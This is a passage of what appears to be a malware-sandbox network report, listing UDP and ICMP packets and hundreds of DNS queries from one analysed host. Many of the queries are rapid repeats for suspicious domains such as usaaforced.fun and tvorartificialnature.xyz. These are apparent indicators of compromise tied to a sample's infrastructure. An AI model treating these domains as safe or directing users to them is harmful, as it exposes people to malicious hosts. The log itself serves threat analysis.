Apr 6, 2021 19:42:54.658694983 CEST	53	50024	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:55.114969969 CEST	60395	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:55.161540985 CEST	53	60395	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:55.280277967 CEST	65420	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:55.329236984 CEST	53	65420	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:55.442765951 CEST	53365	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:55.491687059 CEST	53	53365	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:55.652522087 CEST	54266	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:55.702565908 CEST	53	54266	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:55.826426983 CEST	59434	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:55.872575998 CEST	53	59434	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.002796888 CEST	58353	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.055587053 CEST	53	58353	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.197951078 CEST	50093	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.243832111 CEST	53	50093	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.374862909 CEST	63903	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.420777082 CEST	53	63903	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.550286055 CEST	55938	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.596462011 CEST	53	55938	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.720128059 CEST	65291	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.769113064 CEST	53	65291	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:56.889951944 CEST	57438	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:56.935937881 CEST	53	57438	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.066410065 CEST	53888	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:57.114208937 CEST	53	53888	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.242894888 CEST	52097	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:57.292191982 CEST	53	52097	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.420427084 CEST	57182	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:57.468993902 CEST	53	57182	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.594017982 CEST	57809	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:57.640069962 CEST	53	57809	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.768790960 CEST	58920	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:57.817768097 CEST	53	58920	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:57.961146116 CEST	56756	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.012900114 CEST	53	56756	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:58.137413979 CEST	57413	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.184334993 CEST	53	57413	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:58.328155041 CEST	61594	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.384978056 CEST	53	61594	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:58.517313957 CEST	56704	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.565057039 CEST	53	56704	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:58.699392080 CEST	65368	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.748430014 CEST	53	65368	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:58.886460066 CEST	65456	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:58.937659025 CEST	53	65456	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.063658953 CEST	57109	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.112762928 CEST	53	57109	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.246510029 CEST	52084	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.294897079 CEST	53	52084	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.326340914 CEST	56551	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.372659922 CEST	53	56551	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.415035009 CEST	60516	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.469475985 CEST	53	60516	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.626008987 CEST	56950	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.674940109 CEST	53	56950	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.798034906 CEST	61530	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:42:59.845753908 CEST	53	61530	8.8.8.8	192.168.2.22
Apr 6, 2021 19:42:59.970686913 CEST	60186	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.021929979 CEST	53	60186	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:00.150852919 CEST	65360	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.197978020 CEST	53	65360	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:00.318784952 CEST	60488	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.367079973 CEST	53	60488	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:00.492862940 CEST	53096	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.543025017 CEST	53	53096	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:00.667444944 CEST	55754	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.714700937 CEST	53	55754	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:00.841981888 CEST	56760	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:00.887867928 CEST	53	56760	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:01.008249044 CEST	58262	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:01.054174900 CEST	53	58262	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:01.186985970 CEST	59075	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:01.235719919 CEST	53	59075	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:01.367521048 CEST	50957	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:01.415628910 CEST	53	50957	8.8.8.8	192.168.2.22
Apr 6, 2021 19:43:01.516343117 CEST	65478	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:43:01.562462091 CEST	53	65478	8.8.8.8	192.168.2.22

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 6, 2021 19:39:57.121771097 CEST	192.168.2.22	8.8.8.8	d00a	(Port unreachable)	Destination Unreachable
Apr 6, 2021 19:39:58.150989056 CEST	192.168.2.22	8.8.8.8	d00a	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 6, 2021 19:39:48.074776888 CEST	192.168.2.22	8.8.8.8	0x73f5	Standard query (0)	metaflip.io	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:51.450333118 CEST	192.168.2.22	8.8.8.8	0x8464	Standard query (0)	partsapp.com.br	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:52.508858919 CEST	192.168.2.22	8.8.8.8	0xdede	Standard query (0)	columbia.aula-web.net	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:53.703649044 CEST	192.168.2.22	8.8.8.8	0xe5e	Standard query (0)	tajushariya.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:55.035455942 CEST	192.168.2.22	8.8.8.8	0xd237	Standard query (0)	agenbolatermurah.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:56.038029909 CEST	192.168.2.22	8.8.8.8	0xd237	Standard query (0)	agenbolatermurah.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.080295086 CEST	192.168.2.22	8.8.8.8	0xd237	Standard query (0)	agenbolatermurah.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.463499069 CEST	192.168.2.22	8.8.8.8	0x4495	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:57.534285069 CEST	192.168.2.22	8.8.8.8	0xc62b	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:39:59.960166931 CEST	192.168.2.22	8.8.8.8	0xbcac	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:02.438532114 CEST	192.168.2.22	8.8.8.8	0x6d9f	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:04.912224054 CEST	192.168.2.22	8.8.8.8	0xa3a3	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:07.401508093 CEST	192.168.2.22	8.8.8.8	0x4023	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:09.880100012 CEST	192.168.2.22	8.8.8.8	0xb187	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:12.352286100 CEST	192.168.2.22	8.8.8.8	0x96de	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:14.822638035 CEST	192.168.2.22	8.8.8.8	0x23f0	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:17.307769060 CEST	192.168.2.22	8.8.8.8	0x5cf2	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:19.845205069 CEST	192.168.2.22	8.8.8.8	0xa3d6	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:22.337282896 CEST	192.168.2.22	8.8.8.8	0xec2b	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:24.807017088 CEST	192.168.2.22	8.8.8.8	0x2f26	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:27.293514013 CEST	192.168.2.22	8.8.8.8	0xd575	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:28.880044937 CEST	192.168.2.22	8.8.8.8	0x208f	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:28.946441889 CEST	192.168.2.22	8.8.8.8	0xbd52	Standard query (0)	aws.amazon.com	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:29.755723000 CEST	192.168.2.22	8.8.8.8	0x456a	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.288501978 CEST	192.168.2.22	8.8.8.8	0xb487	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.502280951 CEST	192.168.2.22	8.8.8.8	0xc935	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.697082996 CEST	192.168.2.22	8.8.8.8	0x7fb	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:30.922975063 CEST	192.168.2.22	8.8.8.8	0x774	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.151410103 CEST	192.168.2.22	8.8.8.8	0xb81b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.398335934 CEST	192.168.2.22	8.8.8.8	0xdb0f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:31.951664925 CEST	192.168.2.22	8.8.8.8	0x37e8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.279177904 CEST	192.168.2.22	8.8.8.8	0x2cdc	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.466526985 CEST	192.168.2.22	8.8.8.8	0xd5ff	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.665901899 CEST	192.168.2.22	8.8.8.8	0x7ccd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:32.867674112 CEST	192.168.2.22	8.8.8.8	0x82dd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.088159084 CEST	192.168.2.22	8.8.8.8	0xfb5d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.322921038 CEST	192.168.2.22	8.8.8.8	0x2348	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.531136990 CEST	192.168.2.22	8.8.8.8	0x3d3f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.781368971 CEST	192.168.2.22	8.8.8.8	0xa0b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:33.967446089 CEST	192.168.2.22	8.8.8.8	0x280c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.170212030 CEST	192.168.2.22	8.8.8.8	0xb38f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.365668058 CEST	192.168.2.22	8.8.8.8	0x591f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.555669069 CEST	192.168.2.22	8.8.8.8	0xdf5b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.740217924 CEST	192.168.2.22	8.8.8.8	0x1f6b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.746783972 CEST	192.168.2.22	8.8.8.8	0x32df	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:34.928410053 CEST	192.168.2.22	8.8.8.8	0x67be	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.129662991 CEST	192.168.2.22	8.8.8.8	0xbf05	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.322850943 CEST	192.168.2.22	8.8.8.8	0xb179	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.523037910 CEST	192.168.2.22	8.8.8.8	0x8896	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.733710051 CEST	192.168.2.22	8.8.8.8	0xff27	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:35.918437958 CEST	192.168.2.22	8.8.8.8	0x6e15	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.136529922 CEST	192.168.2.22	8.8.8.8	0x37c9	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.345684052 CEST	192.168.2.22	8.8.8.8	0xcac4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.555574894 CEST	192.168.2.22	8.8.8.8	0x4679	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.742995977 CEST	192.168.2.22	8.8.8.8	0x4c33	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:36.931615114 CEST	192.168.2.22	8.8.8.8	0xe549	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.132086992 CEST	192.168.2.22	8.8.8.8	0x2284	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.223661900 CEST	192.168.2.22	8.8.8.8	0xd442	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.321492910 CEST	192.168.2.22	8.8.8.8	0x6abe	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.546396971 CEST	192.168.2.22	8.8.8.8	0xb2e7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.774877071 CEST	192.168.2.22	8.8.8.8	0x9c19	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:37.983417034 CEST	192.168.2.22	8.8.8.8	0xb1c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.191545963 CEST	192.168.2.22	8.8.8.8	0x542c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.421297073 CEST	192.168.2.22	8.8.8.8	0x31a2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.646922112 CEST	192.168.2.22	8.8.8.8	0xe947	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:38.851238966 CEST	192.168.2.22	8.8.8.8	0x1833	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.042809010 CEST	192.168.2.22	8.8.8.8	0x2508	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.264271021 CEST	192.168.2.22	8.8.8.8	0x254f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.455657959 CEST	192.168.2.22	8.8.8.8	0x2023	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.637768984 CEST	192.168.2.22	8.8.8.8	0xf555	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.750665903 CEST	192.168.2.22	8.8.8.8	0x7391	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:39.836366892 CEST	192.168.2.22	8.8.8.8	0x7110	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.029604912 CEST	192.168.2.22	8.8.8.8	0x18db	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.218522072 CEST	192.168.2.22	8.8.8.8	0xfdce	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.409742117 CEST	192.168.2.22	8.8.8.8	0x928f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.582146883 CEST	192.168.2.22	8.8.8.8	0x542d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.760339975 CEST	192.168.2.22	8.8.8.8	0xede5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:40.951508045 CEST	192.168.2.22	8.8.8.8	0xa5de	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.155987024 CEST	192.168.2.22	8.8.8.8	0xc60a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.348602057 CEST	192.168.2.22	8.8.8.8	0x7562	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.522831917 CEST	192.168.2.22	8.8.8.8	0x12f1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.726924896 CEST	192.168.2.22	8.8.8.8	0x33bd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:41.927459002 CEST	192.168.2.22	8.8.8.8	0x57e6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.119256973 CEST	192.168.2.22	8.8.8.8	0x9e44	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.293968916 CEST	192.168.2.22	8.8.8.8	0xd058	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.302598000 CEST	192.168.2.22	8.8.8.8	0x446a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.502572060 CEST	192.168.2.22	8.8.8.8	0xf1fe	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.688924074 CEST	192.168.2.22	8.8.8.8	0xe0bd	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:42.860538006 CEST	192.168.2.22	8.8.8.8	0x532f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.035485029 CEST	192.168.2.22	8.8.8.8	0x23e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.241452932 CEST	192.168.2.22	8.8.8.8	0x5b1	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.433187962 CEST	192.168.2.22	8.8.8.8	0x8d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.622641087 CEST	192.168.2.22	8.8.8.8	0x68ae	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:43.803035021 CEST	192.168.2.22	8.8.8.8	0x21a8	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.058088064 CEST	192.168.2.22	8.8.8.8	0xf988	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.378381014 CEST	192.168.2.22	8.8.8.8	0x419d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.567068100 CEST	192.168.2.22	8.8.8.8	0x4da	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:44.762288094 CEST	192.168.2.22	8.8.8.8	0x952	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.000897884 CEST	192.168.2.22	8.8.8.8	0x6dcc	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.058446884 CEST	192.168.2.22	8.8.8.8	0xc505	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.236002922 CEST	192.168.2.22	8.8.8.8	0x7645	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.432934999 CEST	192.168.2.22	8.8.8.8	0xc47c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:45.912163019 CEST	192.168.2.22	8.8.8.8	0x29c3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:46.192790985 CEST	192.168.2.22	8.8.8.8	0x494d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:46.373102903 CEST	192.168.2.22	8.8.8.8	0x4582	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.647332907 CEST	192.168.2.22	8.8.8.8	0x7b88	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.832748890 CEST	192.168.2.22	8.8.8.8	0xd374	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:47.860057116 CEST	192.168.2.22	8.8.8.8	0x2e6a	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.000814915 CEST	192.168.2.22	8.8.8.8	0x44b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.168560982 CEST	192.168.2.22	8.8.8.8	0xe7b6	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.344666958 CEST	192.168.2.22	8.8.8.8	0x132f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.530210018 CEST	192.168.2.22	8.8.8.8	0xd09b	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.707921982 CEST	192.168.2.22	8.8.8.8	0x3d97	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:48.879576921 CEST	192.168.2.22	8.8.8.8	0xd41	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.070017099 CEST	192.168.2.22	8.8.8.8	0x922a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.265376091 CEST	192.168.2.22	8.8.8.8	0x139f	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.446482897 CEST	192.168.2.22	8.8.8.8	0xc850	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.638135910 CEST	192.168.2.22	8.8.8.8	0x3b74	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.817519903 CEST	192.168.2.22	8.8.8.8	0x1aa2	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:49.986362934 CEST	192.168.2.22	8.8.8.8	0x3d29	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.155533075 CEST	192.168.2.22	8.8.8.8	0xae55	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.343683004 CEST	192.168.2.22	8.8.8.8	0x6733	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.395581007 CEST	192.168.2.22	8.8.8.8	0x41c8	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.520277977 CEST	192.168.2.22	8.8.8.8	0x3cd7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.697328091 CEST	192.168.2.22	8.8.8.8	0x51c3	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:50.879343033 CEST	192.168.2.22	8.8.8.8	0x408c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.050560951 CEST	192.168.2.22	8.8.8.8	0xe5c4	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.266551018 CEST	192.168.2.22	8.8.8.8	0xbae0	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.464703083 CEST	192.168.2.22	8.8.8.8	0xf2c5	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.696537018 CEST	192.168.2.22	8.8.8.8	0xa766	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:51.908808947 CEST	192.168.2.22	8.8.8.8	0x70f7	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.131546974 CEST	192.168.2.22	8.8.8.8	0xa13a	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.345784903 CEST	192.168.2.22	8.8.8.8	0xb324	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.547440052 CEST	192.168.2.22	8.8.8.8	0xa13c	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.765811920 CEST	192.168.2.22	8.8.8.8	0xd93d	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.917624950 CEST	192.168.2.22	8.8.8.8	0xc65e	Standard query (0)	usaaforced.fun	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:52.981024027 CEST	192.168.2.22	8.8.8.8	0xe11e	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
Apr 6, 2021 19:40:53.192387104 CEST	192.168.2.22	8.8.8.8	0xdc42	Standard query (0)	tvorartificialnature.xyz	A (IP address)	IN (0x0001)
